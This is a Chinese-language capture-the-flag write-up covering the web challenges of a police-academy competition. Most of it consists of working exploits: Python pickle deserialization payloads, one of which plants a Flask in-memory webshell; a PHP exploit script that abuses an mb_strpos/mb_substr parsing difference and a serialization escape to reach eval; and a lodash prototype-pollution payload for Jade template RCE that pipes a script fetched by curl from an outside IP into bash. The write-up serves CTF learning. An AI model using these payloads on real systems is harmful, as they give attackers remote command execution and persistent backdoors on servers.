黄河流域挑战赛WEB部分-gxngxngxn
黄河流域公安院校挑战赛WEB部分-gxngxngxn
myfavorPython
pickle反序列话,开启debug,用报错
import os
import pickle
import base64
class A():
def __reduce__(self):
return (exec,("raise Exception(__import__('os').popen('cat flag.txt').read())",))
a = A()
b = pickle.dumps(a)
print(base64.b64encode(b))
Python-reverse
import os
import pickle
import base64
class A():
def __reduce__(self):
return (exec,("global exc_class;global code;exc_class, code = app._get_exc_class_and_code(404);app.error_handler_spec[None][code][exc_class] = lambda a:__import__('os').popen(request.args.get('gxngxngxn')).read()",))
a = A()
b = pickle.dumps(a)
print(base64.b64encode(b))
打了以后随便访问一个404页面,然后执行命令即可
具体分析看我flask内存马那篇文章:
https://www.cnblogs.com/gxngxngxn/p/18181936
逃跑大师
mb_strpos与mb_substr执行差异导致的漏洞,参考
https://www.sonarsource.com/blog/joomla-multiple-xss-vulnerabilities/
原理很简单,就是利用mb_strpos与mb_substr这两个函数对某些不可见字符的解析差异导致的
我们本地搭建个环境试验一下:
<?php
highlight_file(__FILE__);
error_reporting(0);
function substrstr($data)
{
$start = mb_strpos($data, "[");
echo $start.'<br>';
$end = mb_strpos($data, "]");
echo $end;
return mb_substr($data, $start, $end + 1 - $start);
}
$key = substrstr($_GET[0]."[welcome".$_GET[1]."sdpcsec]");
echo $key;
这里我们正常传个字符可以看到,这个函数会截区[]里面包裹的内容
增加逃逸出一个字符(抽象的mb_strpos)
但是当我们传入%9f时,
可以看到现在截取的就不一样了,竟然后面少了一个字符,前面多了一个字符,我们可以看到start和end的值为0和15
就是说mb_strpos这个函数在遇到%9f这个不可见字符时,会自动忽略,而mb_substr则不会忽略,导致截断的字符串往前移动了一个位置。
减少逃逸出三个字符(神奇的mb_substr)
再来看%f0两个函数是怎么识别的
可以看到mb_strpos函数是正常当成一个字符识别,但是mb_substr就很神奇了,他会把%f0连着后面的三个字符当成一个字符来识别,所以可以看到这里明显是少了三个字符
构造任意字符
那么简单来说就是%9f用来增加一个字符,%f0用来减少三个字符,我们利用这个特性,可以实现任意字符的构造,如下:
成功构造出gxngxngxn,这里是%f0和%9f配合使用
也可以单独使用%9f来实现逃逸
解题
接下来回归题目本身
<?php
highlight_file(__FILE__);
error_reporting(0);
function substrstr($data)
{
$start = mb_strpos($data, "[");
$end = mb_strpos($data, "]");
return mb_substr($data, $start, $end + 1 - $start);
}
class A{
public $A;
public $B = "HELLO";
public $C = "!!!";
public function __construct($A){
$this->A = $A;
}
public function __destruct(){
$key = substrstr($this->B . "[welcome sdpcsec" .$this->C . "]");
echo $key;
eval($key);
}
}
if(isset($_POST['escape'])) {
$Class = new A($_POST['escape']);
$Key = serialize($Class);
$K = str_replace("SDPCSEC", "SanDieg0", $Key);
unserialize($K);
}
else{
echo "nonono";
}
这里就是利用了这个原理来构造出任意代码执行,套了一个反序列化字符串逃逸,无伤大雅
直接放我的exp脚本:
import os
import re
import requests
#编码
def encode(string):
encode_string = ""
for char in string:
encode_char = hex(ord(char)).replace("0x","%") #先转ASCII编码再转16进制,把0x替换为%
# 例如 i+=1 == i=i+1;所以 encode_string = encode_string + encode_char
encode_string += encode_char # encode_string += 空字符+结果
return encode_string
#exp
def payload(cmd):
print("url加密:"+encode(cmd))
# 请用url全加密后的cmd替换原来的cmd!!!
cmd1=""
for i in range(len(cmd)):
cmd1 += "$"
cmd = cmd1 + cmd
s = len(cmd)
payload1 = '";s:1:"B";s:' + str(s) + ':"' + cmd + '";s:1:"C";s:9:"gxngxngxn";}'
payload2 = ""
for i in range(len(payload1)):
payload2 += 'SDPCSEC'
payload2 = payload2 + payload1
payload2 = payload2.replace("$", "%9f")
print(payload2)
exp=payload('system("cat /flag");//')
将得到字符串中的命令用url全加密后替换即可
Ezzz_Proto
const express = require('express');
const lodash = require('lodash');
const path = require('path');
var bodyParser = require('body-parser');
const app = express();
var router = express.Router();
app.set('view engine', 'jade');
app.set('views', path.join(__dirname, 'views'));
app.use(bodyParser.json({ extended: true }));
app.get('/',function (req, res) {
res.send('Hello World');
})
app.post('/post',function (req, res) {
function merge(target, source) {
for (let key in source) {
if (key in source && key in target) {
merge(target[key], source[key])
} else {
target[key] = source[key]
}
}
}
var malicious_payload = JSON.stringify(req.body);
var body = JSON.parse(JSON.stringify(req.body));
var a = {};
merge(a, JSON.parse(malicious_payload));
console.log(a.name);
res.render('index.jade', {
title: 'HTML',
name: a.name || ''
});
})
app.listen(1113, () => console.log('Example app listening on port http://127.0.0.1:1113 !'))
看到引入了jade模板,并且/post路由存在明显的原型链污染,很明显是两个结合打jade模板引擎rce
参考文章:
https://www.anquanke.com/post/id/236354/
利用原文中的exp打打,发现不行,于是跟进底层断点调试
发现在此处将visit换成了visitCode,跟进visitCode函数里
发现这里也存在明显的拼接污染,可以rce,只要污染code.buffer为true,val处拼接我们命令执行的代码即可
payload:
{"__proto__":{"compileDebug":true,"self":true,"buffer":1,"val":"global.process.mainModule.constructor._load('child_process').execSync('curl http://81.70.252.29/1.txt|bash')"}}